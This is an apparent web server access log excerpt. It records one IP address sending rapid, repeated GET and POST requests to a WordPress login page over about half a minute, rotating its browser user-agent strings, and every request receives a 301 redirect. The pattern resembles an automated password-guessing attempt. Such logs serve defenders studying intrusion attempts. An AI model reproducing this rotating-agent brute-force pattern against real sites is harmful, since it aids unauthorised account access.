"http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:17 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:17 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:17 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:22 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:22 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:22 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:22 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:22 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:22 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:22 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:22 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:22 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:22 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:22 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:22 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:23 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:23 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:23 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:23 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:23 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:23 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:23 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:23 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:23 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:23 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:23 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:23 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:23 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:24 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:24 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:24 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:24 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:24 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:24 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:24 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:24 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:24 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:24 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:24 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:24 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:24 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:25 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:25 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:25 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:25 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:25 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:25 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:25 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:25 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:25 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:25 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:25 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:25 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:26 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:26 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:26 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:00 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:00 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:00 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:27 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:27 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:27 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:27 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:27 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:27 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:27 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:27 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:27 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:27 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:27 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:27 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:27 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "POST /wp-login.php HTTP/1.1" 301 795 